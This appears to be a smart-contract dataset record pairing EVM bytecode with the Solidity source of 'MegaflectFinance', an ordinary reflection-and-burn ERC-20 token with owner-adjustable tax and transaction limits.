0x6080604052600436106100555760003560e01c80633610724e1461005a578063380d831b14610088578063518ab2a81461009f57806355a373d6146100ca5780637ff9b5961461010b578063f851a44014610136575b600080fd5b6100866004803603602081101561007057600080fd5b8101908080359060200190929190505050610177565b005b34801561009457600080fd5b5061009d61039d565b005b3480156100ab57600080fd5b506100b4610620565b6040518082815260200191505060405180910390f35b3480156100d657600080fd5b506100df610626565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011757600080fd5b5061012061064c565b6040518082815260200191505060405180910390f35b34801561014257600080fd5b5061014b610652565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61018381600254610676565b341461018e57600080fd5b80600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561021857600080fd5b505afa15801561022c573d6000803e3d6000fd5b505050506040513d602081101561024257600080fd5b8101908080519060200190929190505050101561025e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102f157600080fd5b505af1158015610305573d6000803e3d6000fd5b505050506040513d602081101561031b57600080fd5b810190808051906020019092919050505061033557600080fd5b806003600082825401925050819055507f5e5e995ce3133561afceaa51a9a154d5db228cd7525d34df5185582c18d3df093382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103f557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156104dd57600080fd5b505afa1580156104f1573d6000803e3d6000fd5b505050506040513d602081101561050757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561056b57600080fd5b505af115801561057f573d6000803e3d6000fd5b505050506040513d602081101561059557600080fd5b81019080805190602001909291905050506105af57600080fd5b600060038190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561061d573d6000803e3d6000fd5b50565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080821480610693575082828385029250828161069057fe5b04145b61069c57600080fd5b9291505056fea2646970667358221220425c924ee909de5edb4e937d00c049e66d5656e2666b3290be13ccb4cdd8370464736f6c63430007040033
{"success": true, "error": null, "results": {}}
7,120
0xbd0109769ec52b1495210dbb50a08370da0b7213
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MegaflectFinance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 125000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private _name = 't.me/megaflectfinance'; string private _symbol = 'MFI'; uint8 private _decimals = 9; uint256 private _taxFee = 18; uint256 private _burnFee = 2; uint256 private _maxTxAmount = 125000e9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tBurn = tAmount.mul(burnFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 1000e9 , 'maxTxAmount should be greater than 1000e9'); _maxTxAmount = maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80635880b873116100c3578063a9059cbb1161007c578063a9059cbb1461063e578063cba0e996146106a2578063dd62ed3e146106fc578063f2cc0c1814610774578063f2fde38b146107b8578063f84354f1146107fc57610158565b80635880b8731461049357806370a08231146104c1578063715018a6146105195780638da5cb5b1461052357806395d89b4114610557578063a457c2d7146105da57610158565b80632d838119116101155780632d83811914610332578063313ce5671461037457806339509351146103955780633bd5d173146103f95780633c9f861d146104275780634549b0391461044557610158565b806306fdde031461015d578063095ea7b3146101e057806313114a9d1461024457806318160ddd146102625780631bbae6e01461028057806323b872dd146102ae575b600080fd5b610165610840565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022c600480360360408110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e2565b60405180821515815260200191505060405180910390f35b61024c610900565b6040518082815260200191505060405180910390f35b61026a61090a565b6040518082815260200191505060405180910390f35b6102ac6004803603602081101561029657600080fd5b8101908080359060200190929190505050610914565b005b61031a600480360360608110156102c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a44565b60405180821515815260200191505060405180910390f35b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610b1d565b6040518082815260200191505060405180910390f35b61037c610ba1565b604051808260ff16815260200191505060405180910390f35b6103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb8565b60405180821515815260200191505060405180910390f35b6104256004803603602081101561040f57600080fd5b8101908080359060200190929190505050610c6b565b005b61042f610dfc565b6040518082815260200191505060405180910390f35b61047d6004803603604081101561045b57600080fd5b8101908080359060200190929190803515159060200190929190505050610e06565b6040518082815260200191505060405180910390f35b6104bf600480360360208110156104a957600080fd5b8101908080359060200190929190505050610ebd565b005b610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611013565b6040518082815260200191505060405180910390f35b6105216110fe565b005b61052b611284565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61055f6112ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059f578082015181840152602081019050610584565b50505050905090810190601f1680156105cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610626600480360360408110156105f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061134f565b60405180821515815260200191505060405180910390f35b61068a6004803603604081101561065457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061141c565b60405180821515815260200191505060405180910390f35b6106e4600480360360208110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061143a565b60405180821515815260200191505060405180910390f35b61075e6004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611490565b6040518082815260200191505060405180910390f35b6107b66004803603602081101561078a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611517565b005b6107fa600480360360208110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ca565b005b61083e6004803603602081101561081257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ad5565b005b6060600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b5050505050905090565b60006108f66108ef611e5f565b8484611e67565b6001905092915050565b6000600854905090565b6000600654905090565b61091c611e5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b64e8d4a51000811015610a3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137996029913960400191505060405180910390fd5b80600f8190555050565b6000610a5184848461205e565b610b1284610a5d611e5f565b610b0d8560405180606001604052806028815260200161387d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ac3611e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258e9092919063ffffffff16565b611e67565b600190509392505050565b6000600754821115610b7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806137c2602a913960400191505060405180910390fd5b6000610b8461264e565b9050610b99818461267990919063ffffffff16565b915050919050565b6000600c60009054906101000a900460ff16905090565b6000610c61610bc5611e5f565b84610c5c8560036000610bd6611e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b611e67565b6001905092915050565b6000610c75611e5f565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613939602c913960400191505060405180910390fd5b6000610d258361274b565b50505050509050610d7e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd6816007546127b390919063ffffffff16565b600781905550610df1836008546126c390919063ffffffff16565b600881905550505050565b6000600954905090565b6000600654831115610e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ea0576000610e908461274b565b5050505050905080915050610eb7565b6000610eab8461274b565b50505050915050809150505b92915050565b610ec5611e5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015610f97575060198111155b611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20323500000000000081525060200191505060405180910390fd5b80600d8190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110ae57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506110f9565b6110f6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1d565b90505b919050565b611106611e5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113455780601f1061131a57610100808354040283529160200191611345565b820191906000526020600020905b81548152906001019060200180831161132857829003601f168201915b5050505050905090565b600061141261135c611e5f565b8461140d856040518060600160405280602581526020016139656025913960036000611386611e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258e9092919063ffffffff16565b611e67565b6001905092915050565b6000611430611429611e5f565b848461205e565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61151f611e5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611678576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806139176022913960400191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561180c576117c8600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1d565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6118d2611e5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611992576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806137ec6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611add611e5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611e5b578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611c9057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e4e57600560016005805490500381548110611cec57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611d2457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611e1457fe5b60019003818190600